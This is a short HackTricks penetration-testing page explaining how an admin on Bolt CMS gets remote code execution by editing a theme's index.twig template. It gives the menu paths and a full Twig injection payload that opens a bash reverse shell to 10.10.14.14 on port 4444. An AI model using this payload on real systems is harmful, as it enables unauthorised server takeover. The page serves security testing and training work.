Bolt CMS
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
RCE
After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS:
Select
Configuration->View Configuration->Main Configurationor go the the URL path/bolt/file-edit/config?file=/bolt/config.yamlCheck the value of theme

Select
File management->View & edit templatesSelect the theme base found in the previous (
base-2021in this case) step and selectindex.twigIn my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig
Set your payload in this file via template injection (Twig), like:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}And save changes

Clear the cache in
Maintenance->Clear the cacheAccess again the page as a regular user, and the payload should be executed
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated